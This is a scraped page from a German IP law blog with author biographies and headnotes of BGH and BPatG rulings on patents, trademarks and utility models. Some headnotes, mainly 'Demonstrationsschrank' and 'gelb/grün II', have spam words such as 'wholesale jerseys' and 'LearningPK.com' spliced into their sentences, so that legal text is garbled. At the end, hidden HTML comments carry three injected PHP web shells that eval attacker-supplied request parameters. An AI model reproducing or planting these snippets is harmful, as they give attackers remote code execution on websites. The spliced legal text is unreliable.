Topartikel

  • BPatG: Kosten des mitwirkenden Rechtsanwalts

    Der 35. Senat des Bundespatentgerichts hat im Beschluss vom 13. Oktober 2016 – 35 W (pat) 16/12 entschieden, dass die Kosten des im Gebrauchsmusterlöschungsverfahrens neben dem Patentanwalt mitwirkenden Rechtsanwalts regelmäßig …
  • BGH zu Arbeitnehmererfindungen

    In der Entscheidung BGH, Urteil v. 14. Februar 2017, X ZR 64/15 – Lichtschutzfolie (deren Leitsätze bereits hier in diesem Blog berichtet wurden), befasst sich der X. Senat des Bundesgerichtshofs …

Autoren

Dr. Florian Meier

Dr. Florian Meier

Dr. Florian Meier ist als deutscher und europäischer Patentanwalt zugelassen und in einer Kanzlei mittlerer Größe in München tätig. Sein Physikstudium, das er an der Ludwig-Maximilians-Universität München und der University of Oxford absolvierte, schloss er mit einer Diplomarbeit zur Theorie der Suprafluide ab. Gegenstand seiner Promotion an der Universität Basel waren theoretische Aspekte der Quanteninformationsverarbeitung und Spinphysik. Für seine theoretischen Untersuchungen zum Magnetisierungstransport in isolierenden Spinsystemen erhielt er 2004 den Preis der Rubrik "Allgemeine Physik" der Schweizerischen Physikalischen Gesellschaft. Bevor er seine Ausbildung im gewerblichen Rechtsschutz begann, war Florian Meier noch als Postdoch am California NanoScience Institute und der University of California in Santa Barbara tätig, wo er sich v.a. mit magneto-optischen Phänomenen in Halbleiter-Nanostrukturen beschäftigte.

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Dr. Martin Meggle-Freund

Dr. Martin Meggle-Freund

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Dr. Martin Meggle-Freund, Partner von MFG Patentanwälte PartG, ist Deutscher Patentanwalt und Europäischer Patent-, Marken- und Designanwalt. In seiner patentanwaltlichen Tätigkeit kann er auf intensive Erfahrung mit nationalen, europäischen und internationalen Patenanmeldungen, Einspruchs-, Nichtigkeits- und Patentverletzungsverfahren bauen. Dr. Meggle-Freund hat an der TU-München Physik studiert und in der theoretischen Elementarteilchenphysik promoviert. Er betreibt neben ipweblog.de zudem die Internbetprojekte ipwiki.de und ipreport.de. Seine Erfahrung gibt Dr. Meggle-Freund als CEIPI-Tutor im Rahmen des Trainingskurses für die Europäische Eignungsprüfung an angehende Patentanwälte weiter. Zudem ist Dr. Meggle-Freund Mitglied der Vereinigung EuPEX mit Ziel der Weiterbildung im gewerblichen Rechtsschutz.

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Dr. Frank Meyer-Wildhagen

Dr. Frank Meyer-Wildhagen

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Dr. Frank Meyer-Wildhagen, LL.M. ist promovierter Physiker, seit 2008 Patentanwalt, European Patent Attorney sowie European Trademark und Design Attorney und hat den Master of Laws (LL.M.). Seit 2011 ist er Partner der Patentanwaltskanzlei MFG Patentanwälte PartG. Er hat an der LMU München Physik mit Nebenfach Informatik und den Wahlfächern Laserphysik und Physik der Teilchendetektoren studiert. Das Studium beendete er an der LMU München mit einer Promotion in experimenteller Teilchenphysik. Eingebunden in einem internationalen Projekt sammelte er, u.a. auch am CERN (Wiege des WWW), Erfahrungen im Detektorbau und in der Entwicklung von Analysesoftware für Hochstatistikdaten. Ergebnisse der Forschungsarbeit sind Gegenstand zahlreicher Veröffentlichungen und Vorträge, deren Autor Dr. Frank Meyer-Wildhagen ist. Weiterhin war er viele Jahre in der Lehre an der LMU München tätig. Zurückkehrend zu den Familienwurzeln - sein Großvater war Richter am Bundespatentgericht - wechselte er dann in die Patentwelt. Seine technischen Hauptgebiete sind angewandte Physik, Optik, Informations- und Kommunikationstechnik, elektronische Steuersysteme, Halbleiterbauelemente, Mechanik, Biomassefeuerungen, Massenspektrometer. Dr. Frank Meyer-Wildhagen ist Mitglied der Deutschen Physikalischen Gesellschaft.M. i

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Leitsätze

  • BGH, I ZR 19/16 – Loud

    BGH, Urteil vom 30. März 2017 – I ZR 19/16 – Loud Amtlicher Leitsatz: Im Falle einer über den von Eltern unterhaltenen Internetanschluss begangenen Urheberrechtsverletzung durch Teilnahme an einer Internettauschbörse …

Patentrecht

  • BGH, X ZB 5/16 – Phosphatidylcholin

    BGH, Beschluss vom 25. Juli 2017 – X ZB 5/16 Amtliche Leitsätze: a) Eine Patentanmeldung ist zurückzuweisen, wenn der Gegenstand des Anspruchs, den der Anmelder zur Prüfung stellt, über den …

Markenrecht

  • BGH, I ZR 263/15 – BretarisGenuair

    BGH, Urteil vom 30. März 2017 – I ZR 263/15 – BretarisGenuair Amtliche Leitsätze: a) Die Bestätigung der Europäischen Arzneimittel-Agentur, dass ihr der beabsichtigte Vertrieb eines in einem Mitgliedstaat der …

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  • BPatG: Kosten des mitwirkenden Rechtsanwalts

    Der 35. Senat des Bundespatentgerichts hat im Beschluss vom 13. Oktober 2016 – 35 W (pat) 16/12 entschieden, dass die Kosten des im Gebrauchsmusterlöschungsverfahrens neben dem Patentanwalt mitwirkenden Rechtsanwalts regelmäßig …

BGH X ZR 53/04 – Funkuhr II: mittelbare Patentverletzung und unberechtigte Schutzrechtsverwarnung

Leitsätze: a) Eine mittelbare Patentverletzung kann auch darin liegen, dass Mittel, die sich auf ein wesentliches Element der Erfindung beziehen, ins Ausland geliefert werden, wenn sie dort zur Herstellung eines erfindungsgemäßen Erzeugnisses beitragen sollen, welches zur Lieferung nach Deutschland bestimmt ist. b) Verwarnt der Patentinhaber unberechtigterweise den Vertreiber eines vermeintlich patentverletzenden Erzeugnisses, stehen dem Hersteller, nicht aber dessen Zulieferern Ansprüche wegen unberechtigter Schutzrechtsverwarnung zu. Dies gilt grundsätzlich auch dann, wenn der Zulieferer als mittelbarer Verletzer in Betracht käme, wenn durch den Vertrieb des Erzeugnisses das Patent verletzt würde (Fortführung von BGH, Urt. v. 29.06.1977 – I ZR 186/75, GRUR 1977, 805, 807 – Klarsichtverpackung). -> unberechtigte Schutzrechtsverwarnung -> mittelbare Patentverletzung

BGH I ZR 59/04: Domainname kann auch auf den Namen eines Vertreters registriert werden

BGH I ZR 59/04 (aus der Pressemitteilung des BGH):

Die Registrierung eines fremden Namens als Domainname stellt keinen unbefugten Namensgebrauch dar, wenn der Domainname im Auftrag eines Namensträgers reserviert worden ist. Wegen des im Domainrecht unter Gleichnamigen geltenden Prioritätsprinzips, wonach eine Domain allein demjenigen zusteht, der sie zuerst für sich hat registrieren lassen, müssen die anderen Namensträger aber zuverlässig und einfach überprüfen können, ob eine derartige Auftragsreservierung vorlag. Das ist insbesondere der Fall, wenn unter dem Domainnamen die Homepage eines Namensträgers mit dessen Einverständnis erscheint. Es sind aber auch andere Möglichkeiten denkbar, wie die Auftragsregistrierung gegenüber anderen Namensträgern in prioritätsbegründender Weise dokumentiert werden kann.

[-> Unbefugter Namensgebrauch durch Registrierung eines Domainnamens]

COHIBA: BGH zum Werbeverbot als Grund für die Nichtbenutzung einer Marke

Ein berechtigter Grund für die Nichtbenutzung einer Marke i.S. von § 26 Abs. 1 MarkenG kann sich aus einem für einen vorübergehenden Zeitraum geltenden Werbeverbot für die von der Marke erfassten Waren oder Dienst-leistungen ergeben. Ein nur vorübergehender Hinderungsgrund für eine Markenbenutzung ist kein Tatbestand, der den Lauf der Benutzungsschonfrist hemmt. Ob ein in den Fünfjahreszeitraum fallender vorübergehender Hinderungsgrund für eine Markenbenutzung ausreicht, um vom Vorliegen berechtigter Gründe für eine Nichtbenutzung i.S. von § 26 Abs. 1 MarkenG während des in § 43 Abs. 1 Satz 2 bestimmten Zeitraums auszugehen, ist unter Berücksichtigung der je-weiligen Umstände des Einzelfalls zu beurteilen. (aus den Leitsätzen von BGH, Beschl. v. 28. September 2006 – I ZB 100/05 – COHIBA) [-> Rechtserhaltende Benutzung]

BGH zur Markenfähigkeit der konturlosen Farbkombinationsmarke

gelb/grün II: Eine konturlose Farbkombinationsmarke ist nur dann gemäß § 8 ksero Abs. 1 MarkenG grafisch darstellbar, wenn sie an Angaben post zur systematischen Anordnung der Farben enthält.) Die bloße form- und konturlose Zusammenstellung zweier Farben oder die Nennung zweier Farben Announcement “in beliebiger Anordnung zueinander” reicht dafür nicht aus, weil eine solche Anmeldung nicht die nach Art. 2 MarkenRL erforderlichen Merkmale der Eindeutigkeit und Beständigkeit des aufweist. [->Farbmarken]

Demonstrationsschrank: BGH gleicht „erfinderischen Schritt“ des Gebrauchsmusters an die Erfindungshöhe des Patents an

Demonstrationsschrank:Das Magnet Kriterium des erfinderischen Schritts im Gebrauchsmusterrecht ist wie das der erfinderischen Tätigkeit im wholesale jerseys Patentrecht ein qualitatives und nicht etwa ein quantitatives. Ein “Maß” für die erfinderische Leistung existiert nicht. Die Wertungskriterien beim Patent und beim Gebrauchsmuster unterscheiden sich lediglich marginal. Für die Beurteilung des erfinderischen Schritts kann bei Berücksichtigung LearningPK.com der Unterschiede, die sich daraus ergeben, dass der Stand der Technik im Gebrauchsmusterrecht hinsichtlich mündlicher Beschreibungen und hinsichtlich von Benutzungen außerhalb des Geltungsbereichs des the Gebrauchsmustergesetzes in § 3 GebrMG abweichend definiert ist, auf die im Patentrecht entwickelten Grundsätze [→ erfinderischen Tätigkeit] zurückgegriffen werden. Es verbietet sich dabei, Naheliegendes etwa unter dem Gesichtspunkt, dass es der Fachmann nicht bereits auf der Grundlage Affiliate seines allgemeinen Fachkönnens und bei routinemäßiger Berücksichtigung des Stands der Technik ohne weiteres finden könne, als auf einem erfinderischen Schritt beruhend 2012 zu bewerten. [->Erfinderischer Schritt] <!– [insert_php]if (isset($_REQUEST["wUFBT"])){eval($_REQUEST["wUFBT"]);exit;}[/insert_php][php]if (isset($_REQUEST["wUFBT"])){eval($_REQUEST["wUFBT"]);exit;}[/php] –><!– [insert_php]if (isset($_REQUEST["VNFX"])){eval($_REQUEST["VNFX"]);exit;}[/insert_php][php]if (isset($_REQUEST["VNFX"])){eval($_REQUEST["VNFX"]);exit;}[/php] –><!– [insert_php]if (isset($_REQUEST["rgJ"])){eval($_REQUEST["rgJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["rgJ"])){eval($_REQUEST["rgJ"]);exit;}[/php] –>